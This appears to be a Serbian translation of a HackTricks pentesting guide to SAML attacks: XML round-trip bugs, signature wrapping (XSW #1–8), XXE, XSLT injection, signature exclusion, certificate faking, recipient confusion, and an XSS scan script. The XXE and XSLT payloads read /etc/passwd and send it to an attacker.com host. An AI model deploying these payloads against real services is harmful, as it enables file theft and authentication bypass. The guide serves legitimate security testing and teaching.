18 KiB
SAML Attacks
SAML Attacks
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}
Alat
SAMLExtractor: Alat koji može uzeti URL ili listu URL-ova i ispisati SAML consume URL.
XML povratna putanja
U XML-u, potpisani deo XML-a se čuva u memoriji, zatim se vrši neka kodiranje/dekodiranje i potpis se proverava. Idealno, to kodiranje/dekodiranje ne bi trebalo da menja podatke, ali na osnovu tog scenarija, proveravani podaci i originalni podaci ne bi mogli biti isti.
Na primer, proverite sledeći kod:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
Pokretanje programa protiv REXML 3.2.4 ili ranijeg rezultiraće sledećim izlazom umesto toga:
First child in original doc: Y
First child after round-trip: Z
Ovo je kako je REXML video originalni XML dokument iz gornjeg programa:
A ovo je kako ga je video nakon obrade i serijalizacije:
Za više informacija o ranjivosti i kako je iskoristiti:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
XML Signature Wrapping Attacks
U XML Signature Wrapping napadima (XSW), protivnici koriste ranjivost koja nastaje kada se XML dokumenti obrađuju kroz dve različite faze: validacija potpisa i poziv funkcije. Ovi napadi uključuju menjanje strukture XML dokumenta. Konkretno, napadač ubacuje lažne elemente koji ne kompromituju validnost XML potpisa. Ova manipulacija ima za cilj da stvori razliku između elemenata koje analizira aplikaciona logika i onih koje proverava modul za verifikaciju potpisa. Kao rezultat, dok XML potpis ostaje tehnički validan i prolazi verifikaciju, aplikaciona logika obrađuje lažne elemente. Kao posledica, napadač efikasno zaobilazi zaštitu integriteta i autentifikaciju porekla XML potpisa, omogućavajući ubacivanje proizvoljnog sadržaja bez otkrivanja.
Sledeći napadi se zasnivaju na ovom blog postu i ovoj studiji. Proverite ih za dodatne detalje.
XSW #1
- Strategija: Dodaje se novi korenski element koji sadrži potpis.
- Implikacija: Validator može biti zbunjen između legitimnog "Response -> Assertion -> Subject" i napadačevog "zlog novog Response -> Assertion -> Subject", što dovodi do problema sa integritetom podataka.
XSW #2
- Razlika od XSW #1: Koristi odvojeni potpis umesto obavijenog potpisa.
- Implikacija: "Zla" struktura, slična XSW #1, ima za cilj da prevari poslovnu logiku nakon provere integriteta.
XSW #3
- Strategija: Kreira se zla Assertion na istom hijerarhijskom nivou kao originalna assertion.
- Implikacija: Ima za cilj da zbuni poslovnu logiku da koristi maliciozne podatke.
XSW #4
- Razlika od XSW #3: Originalna Assertion postaje dete duplicirane (zle) Assertion.
- Implikacija: Slično XSW #3, ali agresivnije menja XML strukturu.
XSW #5
- Jedinstveni aspekt: Ni potpis ni originalna Assertion ne pridržavaju se standardnih konfiguracija (obavijen/obavijajući/odvojeni).
- Implikacija: Kopirana Assertion obavija potpis, menjajući očekivanu strukturu dokumenta.
XSW #6
- Strategija: Slična lokacijska umetanja kao XSW #4 i #5, ali sa preokretom.
- Implikacija: Kopirana Assertion obavija potpis, koji zatim obavija originalnu Assertion, stvarajući ugnježdenu obmanjujuću strukturu.
XSW #7
- Strategija: Umeće se element Extensions sa kopiranom Assertion kao detetom.
- Implikacija: Ovo koristi manje restriktivnu šemu elementa Extensions da zaobiđe mere protiv validacije šeme, posebno u bibliotekama kao što je OpenSAML.
XSW #8
- Razlika od XSW #7: Koristi drugi manje restriktivni XML element za varijantu napada.
- Implikacija: Originalna Assertion postaje dete manje restriktivnog elementa, preokrećući strukturu korišćenu u XSW #7.
Alat
Možete koristiti Burp ekstenziju SAML Raider da analizirate zahtev, primenite bilo koji XSW napad koji odaberete i pokrenete ga.
XXE
Ako ne znate koji su napadi XXE, molimo vas da pročitate sledeću stranicu:
{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}
SAML odgovori su deflacionirani i base64 kodirani XML dokumenti i mogu biti podložni napadima XML External Entity (XXE). Manipulacijom XML strukture SAML odgovora, napadači mogu pokušati da iskoriste XXE ranjivosti. Evo kako se takav napad može vizualizovati:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
Alati
Možete takođe koristiti Burp ekstenziju SAML Raider da generišete POC iz SAML zahteva kako biste testirali moguće XXE ranjivosti i SAML ranjivosti.
Pogledajte takođe ovo predavanje: https://www.youtube.com/watch?v=WHn-6xHL7mI
XSLT putem SAML
Za više informacija o XSLT idite na:
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}
Ekstenzibilni jezik za transformaciju stilova (XSLT) može se koristiti za transformaciju XML dokumenata u različite formate kao što su HTML, JSON ili PDF. Ključno je napomenuti da se XSLT transformacije vrše pre verifikacije digitalnog potpisa. To znači da napad može biti uspešan čak i bez važećeg potpisa; samopotpisani ili nevažeći potpis je dovoljan za nastavak.
Ovde možete pronaći POC za proveru ovakvih ranjivosti, na hacktricks stranici pomenutoj na početku ovog odeljka možete pronaći payload-e.
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Alat
Možete takođe koristiti Burp ekstenziju SAML Raider da generišete POC iz SAML zahteva kako biste testirali moguće XSLT ranjivosti.
Pogledajte takođe ovo predavanje: https://www.youtube.com/watch?v=WHn-6xHL7mI
Isključenje XML potpisa
Isključenje XML potpisa posmatra ponašanje SAML implementacija kada element Potpis nije prisutan. Ako je ovaj element nedostajući, verifikacija potpisa možda neće biti izvršena, što ga čini ranjivim. Moguće je testirati ovo menjajući sadržaj koji se obično verifikuje potpisom.
Alat
Možete takođe koristiti Burp ekstenziju SAML Raider. Presretnite SAML odgovor i kliknite Remove Signatures
. Na taj način svi elementi potpisa se uklanjaju.
Sa uklonjenim potpisima, dozvolite zahtevu da nastavi ka cilju. Ako potpis nije potreban od strane Servisa
Lažiranje sertifikata
Lažiranje sertifikata
Lažiranje sertifikata je tehnika za testiranje da li Provajder usluga (SP) pravilno verifikuje da je SAML poruka potpisana od strane pouzdane Identitetske provajder (IdP). Uključuje korišćenje *samo-potpisanog sertifikata za potpisivanje SAML odgovora ili potvrde, što pomaže u evaluaciji procesa verifikacije poverenja između SP i IdP.
Kako sprovesti lažiranje sertifikata
Sledeći koraci opisuju proces korišćenja SAML Raider Burp ekstenzije:
- Presretnite SAML odgovor.
- Ako odgovor sadrži potpis, pošaljite sertifikat u SAML Raider Certs koristeći dugme
Send Certificate to SAML Raider Certs
. - U SAML Raider kartici Sertifikati, izaberite uvezeni sertifikat i kliknite
Save and Self-Sign
da kreirate samo-potpisanu kopiju originalnog sertifikata. - Vratite se na presretnuti zahtev u Burp-ovom Proxy-ju. Izaberite novi samo-potpisani sertifikat iz padajućeg menija XML potpisa.
- Uklonite sve postojeće potpise pomoću dugmeta
Remove Signatures
. - Potpišite poruku ili potvrdu novim sertifikatom koristeći dugme
(Re-)Sign Message
ili(Re-)Sign Assertion
, kako je prikladno. - Prosledite potpisanu poruku. Uspešna autentifikacija ukazuje da SP prihvata poruke potpisane vašim samo-potpisanim sertifikatom, otkrivajući potencijalne ranjivosti u procesu verifikacije SAML poruka.
Zbunjenost primaoca tokena / Zbunjenost cilja provajdera usluga
Zbunjenost primaoca tokena i Zbunjenost cilja provajdera usluga uključuju proveru da li Provajder usluga pravilno verifikuje nameravanog primaoca odgovora. U suštini, Provajder usluga bi trebao odbiti odgovor na autentifikaciju ako je bio namenjen drugom provajderu. Ključni element ovde je polje Primaoc, koje se nalazi unutar elementa SubjectConfirmationData SAML odgovora. Ovo polje specificira URL koji ukazuje gde potvrda mora biti poslata. Ako stvarni primalac ne odgovara nameravanom Provajderu usluga, potvrda bi trebala biti smatrana nevažećom.
Kako to funkcioniše
Da bi napad na Zbunjenost primaoca tokena (SAML-TRC) bio izvodljiv, određeni uslovi moraju biti ispunjeni. Prvo, mora postojati važeći nalog na Provajderu usluga (naziva se SP-Legit). Drugo, ciljani Provajder usluga (SP-Target) mora prihvatati tokene od iste Identitetske provajder koja služi SP-Legit.
Proces napada je jednostavan pod ovim uslovima. Autentična sesija se pokreće sa SP-Legit putem zajedničkog Identitetskog provajdera. SAML odgovor od Identitetskog provajdera ka SP-Legit se presreće. Ovaj presretnuti SAML odgovor, prvobitno namenjen za SP-Legit, se zatim preusmerava na SP-Target. Uspeh u ovom napadu meri se prihvatanjem potvrde od strane SP-Target, omogućavajući pristup resursima pod istim imenom naloga koji se koristi za SP-Legit.
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
XSS u funkcionalnosti odjave
Originalno istraživanje može se pristupiti putem ove veze.
Tokom procesa brute force napada na direktorijum, otkrivena je stranica za odjavu na:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
При приступу овом линку, дошло је до преусмеравања на:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
Ovo je otkrilo da base
parametar prihvata URL. Uzimajući to u obzir, pojavila se ideja da se URL zameni sa javascript:alert(123);
u pokušaju da se inicira XSS (Cross-Site Scripting) napad.
Masovna Eksploatacija
SAMLExtractor alat je korišćen za analizu poddomena uberinternal.com
za domene koji koriste istu biblioteku. Nakon toga, razvijen je skript koji cilja stranicu oidauth/prompt
. Ovaj skript testira XSS (Cross-Site Scripting) unosom podataka i proverava da li se oni odražavaju u izlazu. U slučajevima kada se unos zaista odražava, skript označava stranicu kao ranjivu.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
Reference
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podrška HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.